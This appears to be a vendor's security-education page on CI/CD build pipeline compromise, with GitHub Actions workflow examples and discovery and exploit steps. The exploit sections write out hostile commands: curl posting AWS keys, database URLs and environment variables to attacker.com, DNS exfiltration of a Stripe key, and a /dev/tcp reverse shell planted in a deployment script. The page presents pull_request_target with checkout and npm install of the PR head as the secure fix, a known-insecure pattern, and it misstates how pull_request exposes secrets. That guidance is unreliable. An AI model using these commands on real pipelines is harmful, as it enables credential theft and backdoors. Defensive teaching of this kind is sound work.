Build Pipeline Compromise
Build Pipeline Compromise at a glance
Overview
CI/CD pipelines automate the build, test, and deployment process, but they also represent a high-value target for attackers. A compromised build pipeline can inject malicious code that affects every user of the application, making it a critical supply chain attack vector.
Common build pipeline vulnerabilities include insufficient authentication on pipeline triggers, secrets exposed in build logs or environment variables, overly permissive pipeline permissions, unverified third-party build actions/plugins, dependency confusion attacks during build, missing artifact signing and verification, and public access to build configurations revealing infrastructure details.
Where it occurs
Build pipeline compromises occur in CI/CD environments with weak authentication, overprivileged service accounts, unverified dependencies or plugins, exposed secrets, or missing artifact signing and network isolation.
Impact
Build pipeline compromises lead to malicious code injection affecting all users, backdoor insertion in production applications, secret theft (API keys, cloud credentials, database passwords), supply chain attacks at scale, intellectual property theft through source code access, and difficult-to-detect persistent compromises.
Prevention
Prevent supply chain compromise by enforcing authenticated, least-privilege pipeline triggers, using short-lived secrets in secure vaults, pinning and vetting third-party actions, signing and attesting artifacts, isolating builds, scanning configs, and auditing all changes.
Examples
Switch tabs to view language/framework variants.
GitHub Actions workflow exposes secrets to external PRs
Workflow uses pull_request trigger with access to secrets.
name: Build
on:
pull_request: # BUG: Runs on external PRs
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: npm run build
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }} # Exposed!- Line 2: pull_request trigger allows external access
pull_request trigger gives external contributors access to secrets.
name: Build
on:
pull_request_target: # Runs in base context
jobs:
build:
runs-on: ubuntu-latest
environment:
name: review # Requires approval
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install
- run: npm run build
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }}- Line 2: pull_request_target with approval
- Line 7: Environment protection
Use pull_request_target and require approval through environment protection.
Engineer Checklist
-
Require authentication and approval for pipeline triggers
-
Restrict external PR access to secrets
-
Use secret management systems (Vault, GitHub Secrets)
-
Never commit secrets to version control
-
Mask secrets in build logs automatically
-
Implement least privilege for build service accounts
-
Vet and pin third-party build actions/plugins
-
Sign build artifacts (cosign, sigstore)
-
Verify artifact signatures before deployment
-
Use isolated, ephemeral build environments
-
Implement audit logging for pipeline changes
-
Use dependency lock files and verify checksums
-
Segment build networks from production
-
Rotate build secrets regularly
-
Scan pipeline configs for exposed secrets
-
Implement SLSA framework for supply chain security
End-to-End Example
A CI/CD pipeline allows external pull requests to trigger builds with access to production secrets, enabling attackers to exfiltrate credentials.
# Vulnerable GitHub Actions workflow
name: Build
on:
pull_request: # Runs on all PRs including external
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: npm run build
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }} # Exposed to external PRs!# Secure GitHub Actions workflow
name: Build
on:
pull_request_target: # Runs in base context, not PR context
jobs:
build:
runs-on: ubuntu-latest
# Require approval for external contributors
environment:
name: review
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install
- run: npm run build
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }}
# Secrets only available after approvalDiscovery
Review pipeline configurations for external trigger access to secrets. Test by submitting PRs that attempt to echo secrets to build logs.
-
1. Audit workflow trigger configuration
configAction
Examine .github/workflows/*.yml files for dangerous 'on: pull_request' + secrets combination: on: pull_request: # Runs untrusted PR code! env: AWS_KEY: ${{ secrets.AWS_SECRET }} steps: - run: npm test
Expected Result
Multiple workflows grant external PRs access to production secrets including AWS_SECRET, DATABASE_URL, STRIPE_KEY
Artifacts
insecure_triggers secret_exposure_risk workflow_misconfig -
2. Test secret exfiltration via PR
ci_cdAction
Fork repository, add malicious workflow step 'run: env | curl -X POST https://attacker.com -d @-', submit PR
Expected Result
CI runs modified workflow, build logs show secrets were accessed (even if masked, timing confirms presence)
Artifacts
workflow_execution secret_access_confirmed ci_compromise -
3. Check artifact upload permissions
ci_cdAction
Submit PR adding: 'uses: actions/upload-artifact@v3 with: {name: secrets, path: /home/runner/.env}'
Expected Result
Build artifact 'secrets.zip' downloadable publicly, contains environment file with AWS credentials
Artifacts
public_artifacts credential_leak downloadable_secrets
Exploit steps
Attacker submits a pull request with a modified workflow file that exfiltrates secrets through build logs, DNS queries, or HTTP requests to attacker-controlled servers.
-
1. Steal AWS credentials via workflow modification
configAction
Create PR modifying .github/workflows/test.yml to add exfiltration step: - name: Run tests run: | echo "Running tests..." curl -X POST https://attacker.com/leak \ -d "aws_key=${{ secrets.AWS_ACCESS_KEY_ID }}" \ -d "aws_secret=${{ secrets.AWS_SECRET_ACCESS_KEY }}" \ -d "db=${{ secrets.DATABASE_URL }}"
Response
GitHub Actions runs modified workflow. Attacker's server receives: AWS_ACCESS_KEY_ID=AKIA..., AWS_SECRET_ACCESS_KEY=wJalr..., DATABASE_URL=postgresql://prod:pass@db.internal
Artifacts
aws_credentials database_url production_keys cloud_access -
2. Exfiltrate via DNS subdomain encoding
ci_cdAction
Add workflow step that encodes secrets in DNS queries to bypass egress filtering: - run: | SECRET=$(echo ${{ secrets.STRIPE_SECRET_KEY }} | base64) nslookup ${SECRET}.exfil.attacker.com
Response
DNS query observed: c2tfdGVzdF80SHh...Lm5jb20.exfil.attacker.com, which decodes to sk_test_4Hx...ncom (Stripe secret key)
Artifacts
stripe_key dns_tunnel payment_gateway_access -
3. Plant backdoor in production deployment
ci_cdAction
Modify build workflow to inject reverse shell into deployment artifact: - name: Build production run: | npm run build echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> dist/health.sh chmod +x dist/health.sh
Response
Backdoored artifact deployed to production. Attacker gains reverse shell on prod servers at next health check execution.
Artifacts
backdoored_binary reverse_shell production_compromise persistent_access
Specific Impact
Theft of production credentials including cloud access keys, database passwords, and API tokens, leading to complete infrastructure compromise.
Fix
Use pull_request_target instead of pull_request for workflows needing secrets. Require approval for external contributors through environment protection rules. Restrict secret access to trusted workflows. Implement secret masking in logs.
Detect This Vulnerability in Your Code
Sourcery automatically identifies build pipeline compromise vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free